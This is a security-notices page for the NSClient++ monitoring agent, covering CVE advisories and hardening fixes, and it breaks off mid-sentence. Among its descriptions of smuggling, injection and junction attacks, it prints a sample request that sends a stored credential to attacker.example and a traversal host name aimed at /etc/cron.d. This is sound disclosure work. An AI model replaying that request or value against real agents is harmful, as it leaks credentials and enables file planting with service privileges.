Security notices¶
This page is the running record of security-relevant changes in NSClient++ — both published advisories (with their CVE / GHSA identifiers) and security hardening that changed behaviour but was not assigned a CVE. It complements the GitHub Security Advisories tab, which lists only published advisories and so does not capture hardening changes.
- To report a vulnerability, follow the security policy.
- For the concrete operator actions a given release requires, see Upgrading.
Use the filter below to narrow the page to your setup: pick the version you
are coming from and tick the modules your nsclient.ini enables. The
selection is shared with the Upgrading page and remembered in your browser.
A notice badged Action required
needs a change on every installation that runs the module; one badged
Check your setup only
if you use the feature it describes.
Modules: all
Tick the modules your nsclient.ini enables. Entries that touch none of the ticked modules are hidden; service covers the agent itself, which every installation runs. The selection is shared between the Upgrading and Security notices pages.
Published advisories¶
| Advisory | CVE | Severity | Affected | Summary |
|---|---|---|---|---|
| Upstream (OpenSSL) | CVE-2025-11187 and the other OpenSSL 3.5.5–3.5.8 fixes | Moderate (highest reachable) | Windows builds up to 0.17.0 (bundled OpenSSL ≤ 3.5.4) | Crafted-input flaws in the bundled OpenSSL; the most severe reachable one is a stack overflow parsing a hostile PKCS#12 file via check_certificate. |
| Upstream (Cesanta Mongoose) | CVE-2026-73256, CVE-2026-73257 | Critical (9.1) | Windows builds up to 0.16.3 (bundled Mongoose < 7.22) | HTTP request smuggling in the bundled Mongoose web server; exploitable behind a reverse proxy / WAF. |
| GHSA-rhrw-79v5-jc5x | CVE-2025-34079 | High (7.8) | 0.5.2.35 and earlier | Authenticated remote code execution via ExternalScripts. |
| GHSA-jr25-22p3-gm6r | CVE-2025-34078 | High (7.8) | 0.5.2.35 and earlier | Local privilege escalation from plaintext credentials in the configuration file. |
OpenSSL 3.5.5–3.5.8 — bundled OpenSSL updated past four upstream security releases¶
Fixed in: 0.18.0 (bundles OpenSSL 3.5.8) · Severity: Moderate (highest fix reachable through NSClient++)
The Windows builds of NSClient++ statically bundle
OpenSSL as the TLS engine for the
NRPE/NSCA/NSClient server and client modules and the web server / REST API,
for certificate parsing in check_certificate, and for password hashing.
Releases up to 0.17.0 bundled OpenSSL 3.5.4; the four upstream security
releases since then — 3.5.5 (27 Jan 2026), 3.5.6 (7 Apr 2026), 3.5.7
(9 Jun 2026) and 3.5.8 (25 Aug 2026) — fix some forty CVEs on the 3.5 LTS
line, and 0.18.0 moves the bundled copy to 3.5.8.
The fixes most relevant to NSClient++ sit on code paths it actually calls:
- CVE-2025-11187
(Moderate) — missing validation of PBMAC1 parameters in PKCS#12 files can
trigger a stack buffer overflow or invalid pointer dereference during MAC
verification.
check_certificateparses operator-specified certificate files and falls back to PKCS#12 (.pfx/.p12) parsing, so a hostile certificate file scanned by a check reaches this code. - Several further low-severity fixes on the same PKCS#12/ASN.1 parsing paths
(CVE-2025-69421,
CVE-2026-22795,
CVE-2026-34181,
CVE-2026-7383,
CVE-2026-34180) and in
the TLS stack
(CVE-2025-66199
TLS 1.3
CompressedCertificatememory growth, CVE-2025-15468).
The highest-severity upstream fixes in this span —
CVE-2026-45447 (High,
use-after-free verifying a PKCS#7/S/MIME signature) and
CVE-2025-15467 (High,
stack overflow parsing CMS AuthEnvelopedData) — are in CMS / S/MIME code
NSClient++ never calls, and the QUIC, CMP and DTLS fixes likewise do not
apply.
Not affected: the Linux packages (DEB/RPM) link the distribution’s OpenSSL and receive these fixes through ordinary OS updates.
What to do: upgrade Windows installs to 0.18.0 or later — promptly if
check_certificate is pointed at certificate files or directories that
less-trusted principals can write to. No configuration change is needed.
CVE-2026-73256 / CVE-2026-73257 — HTTP request smuggling in the bundled Mongoose web server¶
Fixed in: 0.16.4 (bundles Mongoose 7.23) · Severity: Critical (CVSS 9.1, upstream)
NSClient++ bundles the Cesanta Mongoose
embedded web server as the HTTP engine for the WEBServer module (the REST API
and web UI) in the Windows builds (NSCP_WEB_BACKEND=mongoose, the Windows
default). Two request-smuggling vulnerabilities were published upstream against
Mongoose’s HTTP parser, both fixed in Mongoose 7.22:
- CVE-2026-73256 — a broken HTTP/1.0 detection check in
http_cb()lets a request that combinesTransfer-Encoding: chunkedwith conflicting HTTP/1.0 framing be parsed with different message boundaries than an HTTP/1.0 reverse proxy in front of it. - CVE-2026-73257 — a request carrying both
Content-LengthandTransfer-Encoding: chunkedis accepted instead of rejected, enabling a classic CL.TE desynchronization against a Content-Length-preferring front end.
Both are only exploitable when requests reach NSClient++ through an intermediary (reverse proxy, WAF, load balancer) that frames the request stream differently than Mongoose: an unauthenticated attacker can then smuggle a second request past the intermediary’s access controls (path/method ACLs, IP restrictions, proxy-level authentication) or inject it into another client’s reused connection. In the common direct client → NSClient++ deployment there is no front end to desynchronize. NSClient++’s own authentication and WEB permissions are evaluated per request inside the module, so a smuggled request still needs valid NSClient++ credentials — what smuggling defeats is any security control enforced in front of NSClient++.
Not affected: the Linux packages (DEB/RPM) build the WEBServer module on the
Boost.Beast backend and do not contain Mongoose at all; neither do builds with
the WEBServer module disabled.
What to do: upgrade Windows installs to 0.16.4 or later, which bundles
Mongoose 7.23 — promptly if NSClient++ sits behind a reverse proxy or WAF. As a
stop-gap, an HTTP/1.1-only front end that itself rejects requests with both
Content-Length and Transfer-Encoding reduces (but does not remove) the
exposure.
CVE-2025-34079 — Authenticated RCE via ExternalScripts¶
Action required
An attacker who already holds valid administrator credentials can register and
run an external script, achieving remote code execution. It affects the legacy
0.5.2.35 architecture that predates the current REST v2 API.
What to do: upgrade to a current supported release, and restrict who can
configure ExternalScripts / hold an administrator role. See the
external scripts and
permissions guidance. Full detail:
GHSA-rhrw-79v5-jc5x.
CVE-2025-34078 — Local privilege escalation via plaintext credentials¶
Action required
A principal with local filesystem access can read plaintext credentials stored
in nsclient.ini and reuse them. It affects the legacy 0.5.2.35 architecture.
What to do: upgrade to a current supported release; lock down the configuration file with filesystem ACLs and, where possible, move sensitive values into the credential manager (see Securing NSClient++). Full detail: GHSA-jr25-22p3-gm6r.
Hardening changes (no CVE)¶
Security-relevant changes that are handled as defense-in-depth / consistency hardening rather than assigned a CVE are listed here as they ship, newest first, alongside the release that contains them.
A filter that matched nothing crashed the agent¶
Fixed in: 0.19.0 · Severity: High
check_service on Windows terminated the whole nscp process — no result, no
crash report, Windows logging exception code 0xC0000374 (heap corruption) —
whenever its filter expression matched no service. check_service
"filter=name = 'nosuchservice'" was enough, and so was a filter that merely
missed: = is case sensitive, so filter=name = 'spooler' did it too on a
host whose service is named Spooler (#1499).
When nothing matches the filter, the filter framework re-evaluates the
warning and critical expressions with no object bound to the evaluation
context, so that an expression which also reads the summary (… or count = 0)
still reaches a verdict. check_service defaults to not state_is_perfect()
and not state_is_ok(), and both read the service straight off the context
without checking that one is there. That dereferenced an empty optional,
resurrecting a destroyed shared_ptr control block out of the vacated storage,
and the copy taken of it wrote to freed heap memory. check_logfile’s
column() keyword had the same unguarded access, reachable the same way.
The impact is denial of service: the agent dies on every check interval that
carries such a filter, which is exactly the polling a monitoring server does
when it watches for a service that is absent on some hosts. Any host past
allowed hosts could trigger it over NRPE with allow arguments = true, and
any authenticated REST client could. We have no indication the corruption is
usable for anything beyond terminating the process, but it is a write to freed
memory and was treated accordingly.
Both keywords now report an unresolved value when no object is bound, as the
built-in filter keywords already did, and the check returns its documented
empty-result contract (UNKNOWN: No services found). The accessor underneath
them throws a filter error instead of reading the vacated storage, so a keyword
that misses the guard in future is reported rather than corrupting the heap.
What to do: nothing beyond upgrading. Any service= and crit= workaround
adopted to avoid the crash can go back to using filter=.
Client credentials could be sent to a caller-chosen host¶
Check your setup · Fixed in: 0.19.0 · Severity: Medium
The shared client parser loads the module’s default target — password or
token included — and then applies the request’s arguments on top, where
host=, port= and address= move the destination while the credential stays
behind. Any principal allowed to run a client module’s submit_* / check_*
command could therefore have the agent send the configured credential wherever
it liked:
GET /api/v1/queries/submit_nrdp/commands/execute?address=http://attacker.example/nrdp/&command=x&result=0&message=x
Both seeded REST roles carry queries.execute and the core permission policy
is off by default, so a checks-only REST user was enough; over NRPE it needed
the non-default allow arguments = true. The affected modules are the ones
whose targets carry a credential: NSCA, NSCA-NG, NRDP, Icinga, SMTP and NSCP.
A request that moves the destination away from the target’s configured address
is now refused when the credential that would travel is the target’s own. A
target with no credential, a request supplying its own password= / token=,
and a request that does not move the destination are all unaffected. The
comparison is on the resolved address, so a header host entry counts too.
What to do: a request that moves a credentialed target’s destination
without supplying the credential now fails. Pass it with the request, select
another target with target= (which, as part of this change, works for queries
and not just exec), or set allow host override = true on the target to keep
the old behaviour.
REST script uploads were staged at a predictable path¶
Fixed in: 0.19.0 · Severity: Medium
PUT /api/v2/scripts/… (admin only) wrote the body to ${temp}/<name> —
/tmp, or C:\Windows\Temp for a SYSTEM service — with an unchecked
truncating write, then imported it as a command. A local user who created that
file first won a race against the copy, or won outright where the service’s
overwrite was refused and the failure ignored, and the planted content then ran
as the service account.
Stock DEB/RPM installs were not exploitable for code execution: the service
runs as nsclient and the script root is root-owned, so the import fails.
Uploads now go to a randomly named file, created exclusively and owner-only, with every write checked and the file removed once the module has consumed it.
What to do: nothing; the endpoint’s contract is unchanged.
A junction defeated the modern-layout shared folder lockdown¶
Check your setup · Fixed in: 0.19.0 · Severity: Medium
Affects the opt-in, experimental LAYOUT=modern install property and
nscp settings --migrate-layout modern only; legacy installs are untouched.
That layout keeps nsclient.ini, the fleet private key and the TLS material in
%ProgramData%\NSClient++, and locks the folder down by taking ownership and
replacing its DACL. Every step of that was path-based, and a standard user can
create a junction under that name before the installer first runs. The owner
and DACL were then applied to the junction’s target while the link itself
stayed theirs to remove and replace — with a crafted nsclient.ini in its
place, the next service start loaded that configuration as SYSTEM.
Reparse points are refused now, and ownership and the DACL are applied through a handle opened on the entry itself, so a junction fails the install, the migration and service start rather than being secured through.
What to do: on the modern layout, replace a junction at the shared folder
with a real directory, or relocate the folder with a [paths] override in
boot.ini.
collectd metrics no longer fan out over every local interface¶
Check your setup · Fixed in: 0.19.0 · Severity: Low
A CollectdClient target with no address configured falls back to collectd’s
default multicast group, 239.192.74.66:25826. For a multicast target the
sender used to enumerate every local interface of the matching address family
and send a copy of every datagram through each one, so a half-configured target
put the machine’s host name, CPU, memory, uptime and process counts on every
attached layer-2 segment — including ones the operator never meant to reach,
such as a DMZ or guest-network NIC. The collectd network protocol carries no
credentials, and these datagrams were unauthenticated cleartext.
The fan-out is now opt-in. A multicast target sends one copy through the
interface the routing table picks (multicast interface = auto, the default).
multicast interface = all restores the old behaviour, and a comma-separated
list of local IP addresses restricts the fan-out to exactly those interfaces —
an entry that is not a usable local address for the target’s family is reported
and skipped, and a target whose whole list is unusable sends nothing rather
than falling back to the default route.
The metrics themselves are unchanged: the collectd binary protocol as this module speaks it is unsigned cleartext, so a collectd target still belongs on a trusted network or inside a tunnel.
What to do: nothing on a unicast target — the setting is ignored there. If
you rely on a multicast target reaching several segments, set
multicast interface = all (or list the local addresses to send through) on
that target.
Failed WEB authentication now backs off exponentially¶
Fixed in: 0.19.0 · Severity: Low
The block that follows auth rate limit max failures consecutive failed
authentications (default 10) used to be a fixed auth rate limit block
seconds window (default 60 s) that reset the counter, so an attacker could
resume guessing as soon as it lapsed — roughly 14 000 guesses a day per source
address, indefinitely, against the credentials that path carries: Basic auth,
the password header and the legacy ?password= form Icinga’s
check_nscp_api uses. (Bearer/?TOKEN= session tokens are not metered by
the limiter: they are 256-bit CSPRNG values rather than a guessable secret,
and counting an expired token against the limit would let a client with a
stale session lock its own address out of logging back in.)
A further block from the same IP now doubles the wait, up to an hour, and
resets after a successful authentication or an hour of quiet. Only a run that
burned the whole failure budget at machine speed escalates — a slower run keeps
the base delay, so one client retrying a stale password cannot ratchet a shared
NAT or proxy address up to the ceiling and lock everyone behind it out. This is
defense in depth rather than a fix for an exploitable weakness: PBKDF2-SHA256
(100 000 iterations) and a uniform 403 already made this a poor guessing
channel. It does not address an attacker rotating source addresses; the limiter
is per IP by design, keyed on the socket peer rather than a spoofable
X-Forwarded-For.
What to do: nothing. A monitoring probe that deliberately authenticates
with bad credentials will now be blocked for longer; point it at an endpoint
it can authenticate to, or set auth rate limit max failures = 0 for a test
harness.
NRDP submissions warn about an unverified TLS link¶
Fixed in: 0.19.0 · Severity: Low
An https NRDP submission whose verify mode resolves to no peer
verification now logs a message naming the endpoint, as an Icinga submission
already does: the token is a shared secret, and an unverified TLS session
hands it to whichever server answers. It is logged once per target for as long
as the service runs, not on every submission. The connection itself is
unchanged.
The verify mode help text is corrected in the same pass. It recommended
“peer-cert or none for self signed certificates” and listed client-once,
workarounds and single, which the client-side parser rejects. For a
self-signed certificate use peer-cert with ca pointing at it; none
disables verification entirely.
What to do: nothing required. If the message names a target you expected
to be verified, set verify mode = peer (or peer-cert with a ca).
Security hardening across the clients, scripts and filter framework¶
Check your setup · Fixed in: 0.18.1 · Severity: High for NSCA-NG cert-mode targets,
Low–Medium for everything else
One sweep over the outbound client modules (Icinga, NRDP, NSCA, NSCA-NG, check_mk, Elastic, Graphite, syslog and a second round on SMTP), the external-script launcher and the filter framework. Three themes run through it: configuration that silently did not apply, operations that could never time out, and attacker-influenced text reaching another system’s log unscrubbed. None of it is remotely exploitable code execution on a default install; the NSCA-NG and check_mk items are the ones that change what goes on the wire.
Settings that were read but never applied¶
- NSCA-NG cert mode ignored its TLS configuration (High; affects 0.18.0,
use psk = falseonly). The OpenSSL context was configured after the TLS stream had been created from it, andSSL_new()copies the verify mode, certificate, cipher list and version bounds out of the context at creation time — soverify mode = peer-certran with verification off and accepted any certificate, a man-in-the-middle’s included, and the configured client certificate was never presented. The default PSK mode authenticates both ends through the pre-shared key and was never affected. - check_mk client TLS keys were discarded (Medium). The target object
never called
register_all()/notify(), souse ssl,certificate,certificate key,ca,allowed ciphers,verify modeanddhwere parsed and thrown away — the client connected in plaintext whatever the configuration said, and the keys were missing from the reference docs. - An unrecognized NSCA
encryptionvalue meant “no encryption”. A typo (aes-256), or an algorithm not compiled into the build, silently resolved to plaintext on the end carrying it. It is now a hard error naming the available algorithms: theNSCAServermodule refuses to load and anNSCAClientsubmission fails.encryption = noneremains the explicit way to run unencrypted. - Syslog severities and templates did nothing. The per-state severity
options (
ok-severity, …) and thetag_syntax/message_syntaxtarget settings were stored under keys the sender never read, so they parsed fine and silently did nothing — leaving submissions on the emergency fallback below, and settings-defined targets sending an empty tag. ext-scr install --arguments=…wrote to a path nothing reads, so an argument lockdown reported success while leaving arguments enabled.- NSCA server
performance data = falsewas ignored; perfdata is stripped from forwarded submissions again, as documented.
Operations that could never time out¶
Each of these ran with no deadline, so an endpoint that accepted the connection and then stalled held the submitting thread indefinitely — silently stopping passive results until a service restart:
- Icinga API calls, NRDP submissions, Graphite carbon submissions
and the recurring metrics flush, and Elastic bulk submissions. Each is
now bounded by the target’s configured
timeout(default 30 s) as a single budget covering name resolution, connect, TLS handshake and the exchange. NRDP additionally retries transport failures up toretry, each attempt on a fresh connection; Graphite’sretrynever had any effect and is gone. Several of these settings were also looked up in the free-form option map while the framework routes them into typed fields, so a configured value was ignored even where a timeout was honoured. - External scripts. On Unix the single-string shell fallback ran through
popen(), which hides the child PID, sotimeout=was silently unenforced and a hung script wedged a worker thread per invocation. On Windows the read loop counted iterations rather than elapsed time, so a continuously chatty script escaped the timeout entirely and leaked an unkillable process each run. Both launchers now bound the wait by wall-clock deadline. - SMTP did bound its submission, but a budget that expired mid-connect left the cancelled operation’s completion handler queued, to be run by the retry against the next resolved address with references into a stack frame that no longer existed — a use-after-return in a long-running service. Handler state is heap-owned now, and a spent budget ends the endpoint walk instead of retrying into it.
Injection, scrubbing and resource limits¶
- Graphite status paths now go through the same scrub as the perf path.
The
${check_alias}substituted into them can originate from a remote submitter, so an alias carrying a newline injected an extra, attacker-chosen metric line into Graphite (and a;injected carbon tags) — a way to hide a real problem or fabricate one. - Syslog emits the RFC 3164 HOSTNAME field. Without it a conforming
receiver promoted the tag to origin host, so with a tag template expanding
%message%check output chose which host a record was filed under. Every C0 control byte and DEL is neutralised rather than just CR/LF/NUL, and an unknownseverityorfacilityname falls back to<13>(user.notice) instead of<0>— kernel.emergency, which many receivers page orwallon. - Inbound NSCA wire fields are validated before they reach logs and the inbox channel: control characters are stripped from the host and service names (a log-injection vector) and a return code outside 0–3 is clamped to UNKNOWN instead of flowing on as an arbitrary 16-bit integer.
- Filter expressions are capped at 1024 characters and 64 nesting
levels. Both the recursive-descent parser and the AST evaluator recurse with
the shape of the input, so a long or deeply nested expression could exhaust
the thread stack and crash the whole agent — reachable by anyone able to
influence a filter string over the authenticated REST API, or over NRPE with
allow arguments = true. The limits sit an order of magnitude above any real filter, and string literals are exempt from the depth count. - Buffers are bounded: an NRDP response body is capped at 5 MB (previously
unbounded, so a hostile server — or a man-in-the-middle on a plain
http://target — could stream the agent out of memory), captured script output at 8 MiB, and an SMTP reply at 64 KB per line and 100 lines — nothing capped how much a peer could make the client buffer inside its timeout window, so bytes without a line ending, or endless250-continuations, turned a 30-second budget into gigabytes of agent memory. - SMTP reply text is rendered inert before it reaches the log. Error
messages quoted server replies verbatim into the agent log and the submit
response. Anything outside printable US-ASCII is replaced now — the C0
controls and the C1 range (0x80–0x9F), which carries single-byte terminal
escapes such as CSI — so a multi-line reply can no longer forge extra log
lines, and an oversized one is truncated. Two smaller items came with it:
the reply to
STARTTLSmust be exactly220per RFC 3207 rather than any2xx, and AUTH credentials containing a NUL are refused before connecting (a NUL shifts the RFC 4616AUTH PLAINfield boundaries). - The
ext-scr show/deletesandbox resolves symlinks before its containment test; previously a symlink inside the script root pointing outside it let an authenticated admin read or remove files anywhere the service account could reach. On the Windows shell fallback%and^are now refused as well (cmd.exe%VAR%expansion and its escape character), opt-out viaallow nasty characters.
TLS and credentials¶
- Elastic submissions verify the server certificate. Verification was
hardcoded to
none, so anhttps://address validated neither the chain nor the host name while shipping event-log entries, metrics and the agent log. It defaults topeeragainst the platform CA bundle now, withtls version,verify modeandcasettings matching the other HTTP clients, and newuser/passwordandapi keyauthentication — Elasticsearch has enabled security by default since 8.0, which the module previously could not satisfy at all. tls version = 1.2+means “1.2 or later” again. The+was stripped and the value mapped onto a version-pinned OpenSSL method, which pins the maximum too, so the widely used default negotiated TLS 1.2 only and silently excluded 1.3;anyis accepted as the documentation always claimed. The fix is in the shared stack: all HTTP-based clients, the NRPE/NSCA socket clients and servers, andcheck_tcp.- Credentials are masked in the trace log. At log level
tracethe whole target configuration was dumped, printing the rawpassword/tokenvalues; the fix sits in the shared client machinery, so every outbound client module is covered. - Unverified links are called out. An Icinga
httpssubmission whoseverify moderesolves to no peer verification logs a message naming the endpoint, since the API credentials then go to whichever server answers. An empty NSCApasswordwith encryption enabled logs an error too: the key is the password zero-padded with no derivation step, so an empty one is a well-known all-zero key that anyone pastallowed hostscan forge with.
What to do: most installs need nothing. Specifically:
- NSCA-NG cert mode: upgrade if any target sets
use psk = false. A target whose server certificate does not chain to the configuredca(or does not match the host name) will now fail to connect — that is the verification taking effect; fix the certificate, or accept the exposure explicitly withinsecure = true. - check_mk: a target carrying
use ssl = truenow really negotiates TLS, so a plaintext-only server end will start failing — loudly, which is the point. - Elastic over
httpswith a self-signed certificate: pointcaat it, or setverify mode = noneto keep the old insecure behaviour. On Elasticsearch 6.x or older setevent type,metrics typeandnsclient log typeexplicitly — the legacy_typeparameter is no longer sent by default. - NSCA: fix any typo’d
encryptionvalue (that end was silently running plaintext, usually visible as the peer rejecting submissions with a CRC error), and set the same realpasswordon both ends if the new empty-password error appears. If you relied onperformance data = falsewhile it was broken, perfdata really is dropped now. - External scripts: re-run
ext-scr installafter upgrading so an argument lockdown lands on the setting the module actually reads. Treat write access to anyscript pathdirectory, and the ability to configure external-script commands, as equivalent to code execution as the service account. - Slow endpoints: a submission to an unresponsive Icinga, NRDP, Graphite or
Elastic endpoint now fails after
timeoutinstead of hanging — raise it on that target if the endpoint is legitimately slower. Peers negotiating with a+oranyTLS version can now select TLS 1.3; pin an exact version if one misbehaves on it. - Syslog receivers whose parsing rules keyed on the old malformed datagram (no HOSTNAME field) need adjusting — records now arrive attributed to the agent’s host name instead of the tag. Syslog remains cleartext and unauthenticated: keep the path to the server on a trusted segment.
SMTP client security hardening¶
Check your setup · Fixed in: 0.18.0 · Severity: Low–Medium
A review of the SMTPClient module produced a set of fixes to how it sets up
and trusts a submission session. None is remotely exploitable by an
unauthenticated third party on its own — the attacker positions required are a
man in the middle on the path to the mail server, or the ability to submit a
passive result the agent relays to a mail target — but each removes a way the
agent can be made to trust something it should not.
- Data pipelined across the STARTTLS handshake is refused. The client kept
one receive buffer for the whole session, and
read_until()consumes whole segments, so bytes appended to the server’s220STARTTLS greeting stayed buffered across the handshake and were then served to every read that followed. Those bytes arrive in cleartext and are writable by anyone who can inject a packet, yet the rest of the session treated them as though they had come from inside the TLS tunnel — the STARTTLS command/response injection family (CVE-2011-0411 and relatives). Beyond forged capabilities after the upgrade, a prepared run of2xxreplies walks the client throughMAIL,RCPTandDATAand has it report a notification as delivered when nothing was ever sent, which for a monitoring agent means alerts that silently go nowhere. Per RFC 3207 §4 the session is now refused if anything is buffered at handshake time. - The EHLO name is validated before it reaches the wire. The envelope
addresses and the subject were all checked for CRLF injection; the EHLO
argument was interpolated into the command line raw. It defaults to the
submitting sender’s host name, which for a relayed submission comes from the
request header, so a CR or LF in it ended the
EHLOand began a command of the sender’s choosing on a session the agent had already authenticated — theirMAIL FROMandRCPT TO, sent as the agent. Only a host name or an address literal is accepted now, and the check runs before any socket opens. - Server certificates are verified against the agent’s CA bundle.
Verification rested on OpenSSL’s compiled-in default verify paths, which on
Windows do not include the Windows certificate store. The default
security=starttlstherefore failed verification against Gmail, Microsoft 365 and every other public-CA submission service on every Windows agent, and the module’s only escape hatch wasinsecure-skip-verify— so the configuration operators arrived at was the one with verification turned off. Acasetting now defaults to${ca-path}like every other TLS client in the tree. See the upgrade note. - ESMTP capabilities are matched per line rather than by substring. Reply
lines were concatenated with no separator and searched with
find(), so a server’s free text could answer for a capability it never advertised — a greeting naming the hoststarttls.example.comsatisfied the STARTTLS lookup, and the seam between two joined lines formed tokens no line contained. That lookup is what decides whether the session gets encrypted beforeAUTH. - The timeout bounds the whole submission. Every operation took a fresh deadline, and connect took one per resolved address, so a peer answering just inside the deadline on each round trip — or a name resolving to several black-holed addresses — held a submission thread for a large multiple of the configured timeout. Name resolution ran outside the deadline entirely.
insecure-skip-verifyno longer resets itself. Declared as abool_switch, its notifier fired withfalseon every submission that did not name the option, overwriting whatever the target had configured, so the setting never worked from configuration at all. It also rejected the valuedinsecure-skip-verify=truetoken that REST passes. The reset failed towards verifying, so this was not a hole — it is why the setting appeared to do nothing.--source-hostno longer redirects the connection. Shared by every client module, it was registered against the destination container, where the well-knownhostkey routes into the typed address field — so naming a source host pointed the client at that host instead of the configured server, sending the submission (credentials included, for a module that authenticates) somewhere the operator did not intend. It binds to the sender now.SMTPClientandNRDPClientwere not exposed: each registered its own competing copy, which made the option ambiguous and refused outright.
What to do: nothing is required on unix, where ${ca-path} resolves to the
distribution’s own CA bundle. On Windows, an SMTP target that was working
only because insecure-skip-verify = true should have that removed and
retried — certificate verification now succeeds against public providers. A
target pointing at an internal relay with a private CA should name that bundle
in ca rather than waive verification. See
Upgrading for the full list.
NRPE: decoded-argument metachar guard, optional version banner, and consistency fixes¶
Fixed in: 0.18.0 · Severity: Low
A review of the NRPEServer / NRPEClient modules produced a set of
defense-in-depth fixes. None is remotely exploitable on a default install
(the listener still fails closed on allowed hosts and the argument guard
is off by default), but each tightens a rough edge:
- Metachars are now re-checked on the decoded command and arguments.
The
allow nasty characters = falseguard previously ran only on the raw wire bytes, before the configuredencodingwas applied. With a non-UTF-8encodingset, a multi-byte sequence could decode into an ASCII shell metacharacter (|,`,&,>, …) that was not literally present on the wire and so slipped past the ingress filter. The guard now also runs on the decoded strings that are actually dispatched. DownstreamCheckExternalScriptsargv isolation already prevented shell execution, so this closes a filter-bypass, not an RCE. - The unauthenticated
_NRPE_CHECKping reply can stop disclosing the build. A newexpose versionserver setting (defaulttrue, preserving the legacy bannercheck_nrpeexpects) lets operators return a generic “doing fine” message instead of the exact NSClient++ version to any host permitted to open the port. nscp nrpe installnow reads the storedverify mode. It previously queried the value but matched it under the wrong key name, so a re-run silently reset peer verification to its built-in default (peer-cert— a fail-secure direction, but it discarded the operator’s setting).- A cosmetic
std::wstring::nposvsstd::string::nposcomparison in the metachar guard was corrected (both equalSIZE_MAX, so behaviour was unchanged).
What to do: nothing required. To harden further, set
expose version = false and prefer client-certificate authentication over
IP-only filtering — see
Active Monitoring with NRPE.
The decoded-metachar re-check can reject a request that a non-UTF-8
encoding previously let through while allow nasty characters = false;
such a request was meant to be blocked, so this only affects inputs the
guard was always intended to catch.
NRDP client security hardening¶
Check your setup · Fixed in: 0.18.0 · Severity: Low–Medium
A focused hardening pass over the passive submission protocols (NRDPClient,
NSCAClient/NSCAServer) produced a small set of defense-in-depth fixes on
the NRDP side. None is a confirmed remote vulnerability in a default
configuration; they close latent gaps and bring NRDP in line with the
redaction already applied to NSCA.
- A malformed NRDP server response can no longer crash the submitting
agent.
nrdp::data::parse_responsedereferenced the text node of the<status>/<message>elements without a null check, so a response containing an empty element (<status></status>) — which anyone able to answer or tamper with the connection can send, including a man-in-the-middle on a plaintext or unverified link — dereferenced a null pointer and crashed the process rather than throwing. It is now reported as an invalid response. - The NRDP token is no longer written to the trace log. The per-target
configuration is emitted at trace level on every submission and included the
token— a shared secret equivalent to the NSCA password, which was already redacted. It now logs<set>/<unset>, and any credentials embedded in a configuredproxyURL (http://user:pass@host) are redacted to<redacted>@host. - HTTPS submissions no longer silently skip certificate verification when no
verify mode is set. An unset
verify moderesolves toverify_nonein the TLS layer. Configured targets already defaulted topeer, but the barenscp client/REST submission path did not, so anhttps://submission made that way validated neither the certificate chain nor the host name and exposed the token to a man-in-the-middle. That path now defaults topeeras well; plainhttp://is unaffected.
What to do: nothing required for the default install or for targets
configured through settings. If you submit to an https:// NRDP endpoint via
nscp client/REST against a self-signed certificate without a configured
verify mode, add --verify none (or a CA) explicitly — the previous
behaviour was to trust any certificate silently.
WEB server security hardening¶
Check your setup · Fixed in: 0.18.0 · Severity: Low–Medium
A focused hardening pass over the WEBServer module (REST API + web UI)
produced a set of defense-in-depth fixes. None is a confirmed remote
vulnerability in a default configuration; they close latent gaps and
consistency issues.
- Session tokens are drawn from the OpenSSL CSPRNG.
token_store::generate_tokenminted bearer session tokens (and generated admin passwords) withstd::random_device, which the C++ standard does not require to be non-deterministic — some toolchains have historically implemented it as a fixed-seed PRNG, which would make tokens predictable. Tokens now come fromRAND_bytes()(the same CSPRNG already used for password salts), with rejection sampling to keep the alphabet unbiased. A build without OpenSSL still usesstd::random_device(it cannot serve TLS either); a build that has the CSPRNG never silently substitutes the weaker source — ifRAND_bytes()fails, no token or generated password is issued at all and the request fails with a 500 (nscp web add-user/nscp web installreport an RNG failure). Refusing is the correct outcome for a bearer credential, but it does mean a broken OpenSSL RNG blocks logins rather than degrading them; the failure is logged as aSECURITY:error. - Cookie name matching now requires a name boundary. The bundled
mg_get_cookiematched a requested cookie name as a substring, so a client cookie namedeviltokencould satisfy a lookup fortoken. It now requires the match to start at a cookie boundary. The WEBServer module authenticates from headers, not request cookies, so this path was not used for authentication — the fix hardens the exported helper regardless. - The legacy
/auth/logoutroute enforces the allowed-hosts perimeter. Its sibling/auth/tokenalready calledis_allowed(); logout did not, so a host outsideallowed hostscould revoke an observed token with a spoofedUser-Agent. It now applies the same check. - Script / module names may no longer begin with
-. A leading dash could be mistaken for an option flag when the name is later passed as an argument value; interior dashes (check-disk) are unchanged. - The web-UI installer refuses an HTTPS→HTTP redirect. The bundle’s
integrity rests on the TLS channel (the SHA-256 manifest is fetched over the
same connection), so a redirect chain that began on
https://is no longer allowed to drop to cleartext. A protocol-relativeLocation(//host/path) is now resolved as such, inheriting the current scheme, instead of being glued onto the current origin as a path — which both mis-resolved the redirect and hid it from the downgrade check. An operator who explicitly passes anhttp://--urlis unaffected. - The
legacygrant’s startup warning now names/settings/query.pb. In addition to the query/RCE routes it already flagged, theSECURITYwarning now states thatlegacyalso unlocksPOST /settings/query.pb, which reads settings without the redaction the/api/v2/settingsendpoints apply and can write settings — without holdingsettings.get/settings.put. This is a documentation fix; the endpoint’s behaviour is unchanged, andlegacywas already an RCE-equivalent, trusted-only grant.
What to do: nothing required for the default install. If you have a custom
script/module name that begins with -, rename it. If a client outside
allowed hosts relied on the legacy /auth/logout route, move it inside the
perimeter. Review any role that grants legacy — it confers unredacted
settings read and settings write in addition to command execution.
Host name placeholders are sanitized before they land in a local path¶
Fixed in: 0.17.0 · Severity: Low
With host name placeholders now resolving in attachment target paths and in
[/includes] (issue #458), the
system host name is substituted into paths the agent reads and writes with its
service privileges (typically root / SYSTEM). The host name is not fully under
the operator’s control — DHCP can set it on some systems, as can any local
privileged process — so a hostile value such as ../../etc/cron.d/evil must
not be able to redirect where an attachment is written or which file an
include opens. Values substituted into a path are therefore reduced to the
characters a legal RFC-952 host name can contain (letters, digits, ., -,
plus _): anything else becomes _, and a dots-only value (./..) becomes
_. A legitimate host name comes through unchanged; settings urls and the
submit clients’ host name specs are not affected, since there the value never
names a local file. The same expansion pass no longer aborts settings boot if
gethostname() itself fails — the placeholders are then left unresolved.
What to do: nothing required. Only a host name that is not a legal host
name resolves differently, and only in attachment targets and [/includes].
Settings values for sensitive keys are redacted on read¶
Check your setup · Fixed in: 0.16.2 · Severity: Medium · Reported by: yagust
The settings read paths — GET /api/v2/settings/...,
GET /api/v2/settings/descriptions/..., and the nscp settings --list /
--show CLI — returned values for keys registered sensitive (via
add_password / is_sensitive_key) in clear text, while the settings diff
endpoint already masked them. They now return *** for sensitive keys, to
match diff; internal reads a module makes of its own configuration are
unaffected. This is a defense-in-depth / consistency change, not an
